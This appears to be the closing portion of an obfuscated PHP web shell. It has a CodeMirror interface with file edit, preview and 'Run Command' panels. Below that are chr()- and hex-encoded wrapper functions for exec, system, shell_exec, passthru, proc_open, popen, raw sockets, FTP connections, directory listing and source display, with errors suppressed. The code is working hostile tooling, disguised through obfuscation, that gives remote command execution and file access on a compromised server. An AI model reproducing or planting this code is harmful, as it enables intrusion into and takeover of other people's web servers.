CodeMirror.findModeByMIME('text/plain'); var cm = CodeMirror.fromTextArea(ta, { lineNumbers:true, styleActiveLine:true, matchBrackets:true, autoCloseBrackets:true, lineWrapping:true, theme:'material-darker', mode: (info && info.mime) ? info.mime : 'text/plain', viewportMargin: Infinity }); if (info && info.mode) { CodeMirror.autoLoadMode(cm, info.mode); } var det = document.getElementById('editPanel'); if(det){ det.addEventListener('toggle', function(){ setTimeout(function(){cm.refresh();},50); }); } var form = document.getElementById('editForm'); if(form){ form.addEventListener('submit', function(){ cm.save(); }); } })(); <?php endif; ?> // ===== CodeMirror untuk PREVIEW (readonly, auto-detect) ===== (function(){ var pre = document.getElementById('previewPre'); if(!pre || typeof CodeMirror === 'undefined') return; CodeMirror.modeURL = "https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/%N/%N.min.js"; var filename = <?php echo _f5f83b871($_8470fb ? basename($_8470fb) : ''); ?>; var info = (filename && CodeMirror.findModeByFileName(filename)) || CodeMirror.findModeByMIME('text/plain'); var textValue = pre.textContent || ''; var holder = document.createElement('div'); pre.parentNode.replaceChild(holder, pre); var cmPrev = CodeMirror(holder, { value: textValue, readOnly: true, lineNumbers: true, lineWrapping: true, theme: 'material-darker', mode: (info && info.mime) ? info.mime : 'text/plain', viewportMargin: Infinity }); if (info && info.mode) CodeMirror.autoLoadMode(cmPrev, info.mode); cmPrev.setSize('100%', 480); var det = document.getElementById('previewPanel'); if (det) det.addEventListener('toggle', function(){ setTimeout(function(){ cmPrev.refresh(); }, 50); }); window.addEventListener('resize', function(){ cmPrev.refresh(); }); })(); // ===== CodeMirror untuk RUN COMMAND (single-line + placeholder) ===== (function(){ var ta = document.getElementById('cmdTA'); if(!ta || typeof CodeMirror === 'undefined') return; CodeMirror.modeURL = "https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/%N/%N.min.js"; var isWin = <?php echo _f5f83b871(DIRECTORY_SEPARATOR === chr(92).chr(92)); ?>; var cmdMode = isWin ? 'powershell' : 'shell'; var cmCmd = CodeMirror.fromTextArea(ta, { lineNumbers: false, styleActiveLine: true, matchBrackets: true, autoCloseBrackets: true, lineWrapping: false, theme: 'material-darker', mode: cmdMode, viewportMargin: Infinity, placeholder: 'Run Command' }); CodeMirror.autoLoadMode(cmCmd, cmdMode); cmCmd.setSize('100%', 36); cmCmd.getWrapperElement().classList.add('cm-cmd-input'); cmCmd.on('beforeChange', function(cm, change){ var hasNewline = change.text && (change.text.length > 1 || /\r|\n/.test(change.text[0])); if (hasNewline) change.update(change.from, change.to, [' ']); }); cmCmd.on('keydown', function(cm, e){ if ((e.ctrlKey || e.metaKey) && e.key === 'Enter') { e.preventDefault(); var form = document.getElementById('cmdForm'); if (form) form.submit(); } }); var form = document.getElementById('cmdForm'); if (form) { form.addEventListener('submit', function(){ cmCmd.save(); }); } setTimeout(function(){ cmCmd.refresh(); }, 50); window.addEventListener('resize', function(){ cmCmd.refresh(); }); })(); // ===== CodeMirror untuk COMMAND OUTPUT ===== (function(){ var pre = document.getElementById('cmdOutPre'); if(!pre || typeof CodeMirror === 'undefined') return; CodeMirror.modeURL = "https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/%N/%N.min.js"; var isWin = <?php echo _f5f83b871(DIRECTORY_SEPARATOR === "\x5c\x5c"); ?>; var outMode = isWin ? 'powershell' : 'shell'; var txt = pre.textContent || ''; var holder = document.createElement('div'); pre.parentNode.replaceChild(holder, pre); var cmOut = CodeMirror(holder, { value: txt, readOnly: true, lineNumbers: true, lineWrapping: true, theme: 'material-darker', mode: outMode, viewportMargin: Infinity }); CodeMirror.autoLoadMode(cmOut, outMode); cmOut.setSize('100%', 380); cmOut.getWrapperElement().classList.add('cm-cmd-output'); setTimeout(function(){ cmOut.refresh(); }, 50); window.addEventListener('resize', function(){ cmOut.refresh(); }); })(); </script> </body> </html> <?php if (!function_exists("\x5f\x66\x64\x31\x37\x66\x63\x62\x33\x32")) { function _fd17fcb32($_190ac3, &$_f6c99c = null, &$_946420 = null, $_1ce919 = 30, $_327d0f = 0, $_f11aea = null) { if (_f6e3566c7("\x73\x74\x72\x65\x61\x6d\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6c\x69\x65\x6e\x74")) { return @stream_socket_client($_190ac3, $_f6c99c, $_946420, $_1ce919, $_327d0f, $_f11aea); } if (_f6e3566c7("\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e")) { $_343ee7 = $_190ac3; $_8abf63 = 0; if (stripos($_190ac3, "\x74\x63\x70\x3a\x2f\x2f") === 0 || stripos($_190ac3, "\x73\x73\x6c\x3a\x2f\x2f") === 0 || stripos($_190ac3, "\x74\x6c\x73\x3a\x2f\x2f") === 0) { $_a8df0f = parse_url($_190ac3); if ($_a8df0f && isset($_a8df0f[chr(104).chr(111).chr(115).chr(116)]) && isset($_a8df0f["\x70\x6f\x72\x74"])) { $_343ee7 = $_a8df0f[chr(104).chr(111).chr(115).chr(116)]; $_8abf63 = $_a8df0f[chr(112).chr(111).chr(114).chr(116)]; } } else if (strpos($_190ac3, chr(58)) !== false) { $_326d9c = explode("\x3a", $_190ac3, 2); $_343ee7 = $_326d9c[0]; $_8abf63 = (int)$_326d9c[1]; } return @fsockopen($_343ee7, $_8abf63 ? $_8abf63 : 80, $_f6c99c, $_946420, $_1ce919); } $_f6c99c = 0; $_946420 = chr(78).chr(111).chr(32).chr(115).chr(111).chr(99).chr(107).chr(101).chr(116).chr(32).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110).chr(115).chr(32).chr(97).chr(118).chr(97).chr(105).chr(108).chr(97).chr(98).chr(108).chr(101); return false; } } if (!function_exists("\x5f\x66\x64\x64\x36\x66\x36\x63\x37\x64")) { function _fdd6f6c7d($_ff7610) { if (_f6e3566c7("\x69\x6e\x69\x5f\x72\x65\x73\x74\x6f\x72\x65")) return @ini_restore($_ff7610); return false; } } if (!function_exists("\x5f\x66\x34\x39\x61\x31\x32\x38\x38\x61")) { function _f49a1288a($_fffc96, $_b07762 = 0) { if (_f6e3566c7(chr(103).chr(122).chr(105).chr(110).chr(102).chr(108).chr(97).chr(116).chr(101))) return @gzinflate($_fffc96, $_b07762); if (_f6e3566c7(chr(103).chr(122).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101))) return @gzdecode($_fffc96); if (_f6e3566c7("\x67\x7a\x75\x6e\x63\x6f\x6d\x70\x72\x65\x73\x73")) return @gzuncompress($_fffc96); return false; } } if (!function_exists(chr(95).chr(102).chr(50).chr(48).chr(57).chr(57).chr(48).chr(52).chr(100).chr(52))) { function _f209904d4($_ad931e, &$_5760d0 = null, &$_54bee3 = null) { if (_f6e3566c7("\x65\x78\x65\x63")) return @exec($_ad931e, $_5760d0, $_54bee3); $_5760d0 = array(); $_54bee3 = 127; return null; } } if (!function_exists("\x5f\x66\x31\x65\x61\x66\x37\x39\x32\x35")) { function _f1eaf7925($_ad931e, &$_54bee3 = null) { if (_f6e3566c7("\x70\x61\x73\x73\x74\x68\x72\x75")) return @passthru($_ad931e, $_54bee3); $_54bee3 = 127; return null; } } if (!function_exists("\x5f\x66\x33\x64\x38\x64\x31\x38\x36\x39")) { function _f3d8d1869($_ad931e) { if (_f6e3566c7(chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99))) return @shell_exec($_ad931e); return null; } } if (!function_exists("\x5f\x66\x63\x63\x36\x36\x34\x64\x61\x38")) { function _fcc664da8($_ad931e, &$_54bee3 = null) { if (_f6e3566c7("\x73\x79\x73\x74\x65\x6d")) return @system($_ad931e, $_54bee3); $_54bee3 = 127; return null; } } if (!function_exists(chr(95).chr(102).chr(48).chr(54).chr(54).chr(50).chr(53).chr(101).chr(97).chr(52))) { function _f06625ea4($_ad931e, $_19923a, &$_f97e28, $_657b80 = null, $_c16aa8 = null) { if (_f6e3566c7(chr(112).chr(114).chr(111).chr(99).chr(95).chr(111).chr(112).chr(101).chr(110))) return @proc_open($_ad931e, $_19923a, $_f97e28, $_657b80, $_c16aa8); return false; } } if (!function_exists(chr(95).chr(102).chr(100).chr(102).chr(48).chr(53).chr(101).chr(53).chr(57).chr(97))) { function _fdf05e59a($_ad931e, $_e981cf) { if (_f6e3566c7("\x70\x6f\x70\x65\x6e")) return @popen($_ad931e, $_e981cf); return false; } } if (!function_exists("\x5f\x66\x30\x38\x38\x64\x30\x33\x36\x61")) { function _f088d036a($_4dfe24, $_ada6bf = false, $_7bb376 = null) { if (_f6e3566c7(chr(112).chr(97).chr(114).chr(115).chr(101).chr(95).chr(105).chr(110).chr(105).chr(95).chr(102).chr(105).chr(108).chr(101))) { if ($_7bb376 === null) return @parse_ini_file($_4dfe24, $_ada6bf); return @parse_ini_file($_4dfe24, $_ada6bf, $_7bb376); } $_d109ed = @file_get_contents($_4dfe24); if ($_d109ed === false) return false; if (_f6e3566c7("\x70\x61\x72\x73\x65\x5f\x69\x6e\x69\x5f\x73\x74\x72\x69\x6e\x67")) return @parse_ini_string($_d109ed, $_ada6bf); return false; } } if (!function_exists(chr(95).chr(102).chr(97).chr(56).chr(54).chr(57).chr(102).chr(55).chr(57).chr(56))) { function _fa869f798($_720a4c, $_1d39a0 = false) { if (_f6e3566c7("\x73\x68\x6f\x77\x5f\x73\x6f\x75\x72\x63\x65")) return @show_source($_720a4c, $_1d39a0); if (_f6e3566c7(chr(104).chr(105).chr(103).chr(104).chr(108).chr(105).chr(103).chr(104).chr(116).chr(95).chr(102).chr(105).chr(108).chr(101))) return @highlight_file($_720a4c, $_1d39a0); $_aaf820 = @file_get_contents($_720a4c); if ($_1d39a0) return $_aaf820; echo $_aaf820; return true; } } if (!function_exists(chr(95).chr(102).chr(99).chr(49).chr(49).chr(52).chr(56).chr(97).chr(52).chr(48))) { function _fc1148a40($_f590fa) { if (_f6e3566c7(chr(115).chr(99).chr(97).chr(110).chr(100).chr(105).chr(114))) return @scandir($_f590fa); $_dc43af = @opendir($_f590fa); if (!$_dc43af) return false; $_b0e45b = array(); while (false !== ($_912142 = readdir($_dc43af))) $_b0e45b[] = $_912142; closedir($_dc43af); return $_b0e45b; } } if (!function_exists(chr(95).chr(102).chr(49).chr(57).chr(100).chr(55).chr(56).chr(57).chr(55).chr(102))) { function _f19d7897f($_9a1e9e) { if (_f6e3566c7(chr(112).chr(111).chr(115).chr(105).chr(120).chr(95).chr(103).chr(101).chr(116).chr(112).chr(119).chr(117).chr(105).chr(100))) return @posix_getpwuid($_9a1e9e); return array(chr(110).chr(97).chr(109).chr(101) => @get_current_user(), chr(117).chr(105).chr(100) => $_9a1e9e); } } if (!function_exists("\x5f\x66\x65\x32\x62\x62\x31\x35\x38\x62")) { function _fe2bb158b($_769d66) { if (_f6e3566c7(chr(112).chr(111).chr(115).chr(105).chr(120).chr(95).chr(103).chr(101).chr(116).chr(103).chr(114).chr(103).chr(105).chr(100))) return @posix_getgrgid($_769d66); return array(chr(110).chr(97).chr(109).chr(101) => chr(117).chr(110).chr(107).chr(110).chr(111).chr(119).chr(110), "\x67\x69\x64" => $_769d66); } } if (!function_exists("\x5f\x66\x31\x64\x65\x66\x33\x66\x38\x34")) { function _f1def3f84($_ae79d0) { if (_f6e3566c7(chr(100).chr(105).chr(115).chr(107).chr(102).chr(114).chr(101).chr(101).chr(115).chr(112).chr(97).chr(99).chr(101))) return @diskfreespace($_ae79d0); if (_f6e3566c7("\x64\x69\x73\x6b\x5f\x66\x72\x65\x65\x5f\x73\x70\x61\x63\x65")) return @disk_free_space($_ae79d0); return false; } } if (!function_exists("\x5f\x66\x37\x38\x32\x33\x34\x32\x31\x38")) { function _f78234218($_4dfe24) { if (_f6e3566c7("\x66\x69\x6c\x65\x67\x72\x6f\x75\x70")) return @filegroup($_4dfe24); return false; } } if (!function_exists(chr(95).chr(102).chr(55).chr(51).chr(50).chr(50).chr(51).chr(50).chr(100).chr(100))) { function _f732232dd($_343ee7, $_8abf63 = 21, $_1ce919 = 90) { if (_f6e3566c7("\x66\x74\x70\x5f\x63\x6f\x6e\x6e\x65\x63\x74")) return @ftp_connect($_343ee7, $_8abf63, $_1ce919); if (_f6e3566c7(chr(102).chr(115).chr(111).chr(99).chr(107).chr(111).chr(112).chr(101).chr(110))) return @fsockopen($_343ee7, $_8abf63, $_f6c99c, $_946420, $_1ce919); return false; } } if (!function_exists("\x5f\x66\x37\x61\x37\x34\x37\x63\x38\x38")) { function _f7a747c88($_3205cb, $_0f0bb0 = -1, $_ab47b8 = -1) { if (_f6e3566c7(chr(115).chr(116).chr(114).chr(101).chr(97).chr(109).chr(95).chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115))) return @stream_get_contents($_3205cb, $_0f0bb0, $_ab47b8); if ($_ab47b8 > 0) @fseek($_3205cb, $_ab47b8); $_fffc96 = ""; if ($_0f0bb0 === -1) { while (!feof($_3205cb)) { $_fffc96 .= @fread($_3205cb, 8192); } } else { $_fffc96 = @fread($_3205cb, $_0f0bb0); } return $_fffc96; } }